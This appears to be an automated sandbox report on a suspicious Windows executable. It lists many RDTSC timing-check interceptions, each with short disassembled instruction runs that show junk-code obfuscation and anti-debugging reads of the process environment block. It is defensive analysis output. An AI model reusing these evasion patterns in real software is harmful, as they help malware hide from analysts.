Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11974EB second address: 1197516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB39CDCA206h 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FB39CDCA206h 0x00000012 jmp 00007FB39CDCA219h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1197516 second address: 119752A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 119CAD9 second address: 119CAEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB39CDCA210h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D7CE1 second address: 11D7CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FB39CE8BFCBh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D7CFB second address: 11D7CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D7CFF second address: 11D7D3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c jmp 00007FB39CE8BFD2h 0x00000011 jmp 00007FB39CE8BFD8h 0x00000016 pop esi 0x00000017 push edi 0x00000018 push eax 0x00000019 pop eax 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11DACD5 second address: 11DACD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11DACD9 second address: 11DACDF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11DACDF second address: 11DACED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FB39CDCA208h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11DACED second address: 11DACF2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11E9A23 second address: 11E9A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jng 00007FB39CDCA206h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11E9A2F second address: 11E9A43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11E9893 second address: 11E9899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11E9899 second address: 11E98A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11E98A3 second address: 11E98BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB39CDCA20Eh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FB39CDCA206h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11EBB60 second address: 11EBB66 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B005D second address: 12B0063 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0063 second address: 12B006A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B01C0 second address: 12B01E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB39CDCA219h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B01E0 second address: 12B01EA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB39CE8BFC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B04A6 second address: 12B04C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB39CDCA206h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d jl 00007FB39CDCA20Ah 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B04C3 second address: 12B04C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B04C7 second address: 12B04CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0A3E second address: 12B0A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0A42 second address: 12B0A63 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB39CDCA206h 0x00000008 jo 00007FB39CDCA206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FB39CDCA211h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0A63 second address: 12B0A6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FB39CE8BFC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0A6F second address: 12B0A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0BD7 second address: 12B0BDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0BDF second address: 12B0BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0BE3 second address: 12B0C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB39CE8BFD2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0C02 second address: 12B0C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0C08 second address: 12B0C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0C0E second address: 12B0C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0C13 second address: 12B0C32 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FB39CE8BFD5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0C32 second address: 12B0C36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0EFF second address: 12B0F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0F04 second address: 12B0F0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FB39CDCA206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0F0E second address: 12B0F14 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0F14 second address: 12B0F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB39CDCA20Fh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FB39CDCA206h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0F35 second address: 12B0F39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0F39 second address: 12B0F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B0F42 second address: 12B0F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB39CE8BFC6h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B3A79 second address: 12B3A84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B3A84 second address: 12B3A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FB39CE8BFC8h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B3E4B second address: 12B3E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B3E4F second address: 12B3E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 js 00007FB39CE8BFD4h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B3E60 second address: 12B3E64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B41A9 second address: 12B41AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B41AE second address: 12B41B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B41B5 second address: 12B4227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 call 00007FB39CE8BFD5h 0x0000000d mov dword ptr [ebp+12444876h], ebx 0x00000013 pop edx 0x00000014 push dword ptr [ebp+122D34F1h] 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FB39CE8BFC8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 call 00007FB39CE8BFD5h 0x00000039 xor dword ptr [ebp+122D2C12h], edi 0x0000003f pop edx 0x00000040 push 7619B236h 0x00000045 push eax 0x00000046 push edx 0x00000047 jnp 00007FB39CE8BFC8h 0x0000004d push edi 0x0000004e pop edi 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B4227 second address: 12B4242 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB39CDCA216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B74BC second address: 12B74C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B74C2 second address: 12B74CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B6FF8 second address: 12B701E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FB39CE8BFC6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B701E second address: 12B7022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12B7022 second address: 12B7034 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFCCh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0031 second address: 70B0037 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0037 second address: 70B003B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B003B second address: 70B0061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA20Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FB39CDCA20Bh 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0061 second address: 70B0078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FB39CE8BFD1h 0x00000009 pop ecx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0078 second address: 70B007E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B007E second address: 70B0082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0082 second address: 70B00A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA218h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov di, ax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B00A9 second address: 70B014C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000030h] 0x0000000f jmp 00007FB39CE8BFCEh 0x00000014 sub esp, 18h 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FB39CE8BFCEh 0x0000001e or si, 15F8h 0x00000023 jmp 00007FB39CE8BFCBh 0x00000028 popfd 0x00000029 pushad 0x0000002a mov ecx, 68BA16C5h 0x0000002f mov edx, eax 0x00000031 popad 0x00000032 popad 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007FB39CE8BFD9h 0x0000003d and eax, 7271D546h 0x00000043 jmp 00007FB39CE8BFD1h 0x00000048 popfd 0x00000049 call 00007FB39CE8BFD0h 0x0000004e pop esi 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B014C second address: 70B0152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0152 second address: 70B01C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FB39CE8BFD7h 0x00000014 jmp 00007FB39CE8BFD3h 0x00000019 popfd 0x0000001a mov di, cx 0x0000001d popad 0x0000001e mov ecx, 0E188ECBh 0x00000023 popad 0x00000024 xchg eax, ebx 0x00000025 pushad 0x00000026 mov si, 0C43h 0x0000002a jmp 00007FB39CE8BFD8h 0x0000002f popad 0x00000030 mov ebx, dword ptr [eax+10h] 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B01C3 second address: 70B01C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B01C7 second address: 70B01CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B01CD second address: 70B01F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA214h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, ax 0x00000010 mov bx, si 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B01F0 second address: 70B0269 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB39CE8BFD9h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 push eax 0x00000012 call 00007FB39CE8BFD3h 0x00000017 pop ecx 0x00000018 pop edi 0x00000019 movzx esi, dx 0x0000001c popad 0x0000001d mov esi, dword ptr [762C06ECh] 0x00000023 pushad 0x00000024 call 00007FB39CE8BFD7h 0x00000029 push eax 0x0000002a pop edi 0x0000002b pop esi 0x0000002c mov bx, 8DB8h 0x00000030 popad 0x00000031 test esi, esi 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FB39CE8BFCAh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0269 second address: 70B026F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B026F second address: 70B0282 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FB39CE8CF2Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0282 second address: 70B0288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0288 second address: 70B028D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B028D second address: 70B02C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA217h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB39CDCA215h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B02C0 second address: 70B0370 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 267F38F2h 0x00000008 pushfd 0x00000009 jmp 00007FB39CE8BFD3h 0x0000000e sbb cx, 66EEh 0x00000013 jmp 00007FB39CE8BFD9h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e movsx edi, si 0x00000021 mov esi, 1C97F96Fh 0x00000026 popad 0x00000027 xchg eax, edi 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FB39CE8BFD0h 0x0000002f jmp 00007FB39CE8BFD5h 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007FB39CE8BFD0h 0x0000003b add cl, FFFFFFF8h 0x0000003e jmp 00007FB39CE8BFCBh 0x00000043 popfd 0x00000044 popad 0x00000045 call dword ptr [76290B60h] 0x0000004b mov eax, 75A0E5E0h 0x00000050 ret 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FB39CE8BFD5h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0370 second address: 70B03CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000044h 0x0000000b jmp 00007FB39CDCA20Eh 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushfd 0x00000017 jmp 00007FB39CDCA213h 0x0000001c sbb al, 0000007Eh 0x0000001f jmp 00007FB39CDCA219h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B03CD second address: 70B03E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B03E9 second address: 70B03ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B03ED second address: 70B0400 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0400 second address: 70B044B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB39CDCA20Fh 0x00000009 or al, FFFFFFEEh 0x0000000c jmp 00007FB39CDCA219h 0x00000011 popfd 0x00000012 jmp 00007FB39CDCA210h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c mov ecx, edx 0x0000001e push eax 0x0000001f push edx 0x00000020 mov ah, dl 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B044B second address: 70B04B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, edi 0x0000000b jmp 00007FB39CE8BFD0h 0x00000010 push dword ptr [eax] 0x00000012 jmp 00007FB39CE8BFD0h 0x00000017 mov eax, dword ptr fs:[00000030h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FB39CE8BFCDh 0x00000026 and si, 7B96h 0x0000002b jmp 00007FB39CE8BFD1h 0x00000030 popfd 0x00000031 mov bx, si 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B04B9 second address: 70B04D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CDCA218h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0522 second address: 70B0526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0526 second address: 70B052C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B052C second address: 70B0532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0532 second address: 70B0536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0536 second address: 70B053A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
